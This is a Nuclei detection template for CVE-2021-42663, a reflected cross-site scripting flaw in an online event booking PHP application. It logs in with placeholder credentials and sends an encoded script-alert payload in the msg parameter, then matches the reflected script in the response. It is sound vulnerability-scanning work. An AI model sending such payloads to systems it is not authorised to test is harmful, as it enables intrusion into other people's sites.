64 lines
2.4 KiB
YAML
64 lines
2.4 KiB
YAML
id: CVE-2021-42663
|
|
|
|
info:
|
|
name: Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting
|
|
author: fxploit
|
|
severity: medium
|
|
description: |
|
|
Sourcecodester Online Event Booking and Reservation System 2.3.0 contains a cross-site scripting vulnerability in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link, the content of the HTML code of the attacker's choice displays.
|
|
remediation: |
|
|
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
|
|
reference:
|
|
- https://github.com/0xDeku/CVE-2021-42663
|
|
- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
|
|
- https://github.com/TheHackingRabbi/CVE-2021-42663
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-42663
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
|
|
cvss-score: 4.3
|
|
cve-id: CVE-2021-42663
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00116
|
|
epss-percentile: 0.45102
|
|
cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: online_event_booking_and_reservation_system_project
|
|
product: online_event_booking_and_reservation_system
|
|
tags: cve,cve2021,xss
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
name={{username}}&pwd={{password}}
|
|
- |
|
|
GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</i><script>alert(document.domain)</script></div>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a004630440220114b8161395f2c6e11e6ed37050224486088b8ccc683f75f16304dac24446c9e022030f7d520694ec6a1323015ed57ffc16d1255d308b2e441c3ebb35e89e5c80c4b:922c64590222798bb761d5b6d8e72950
|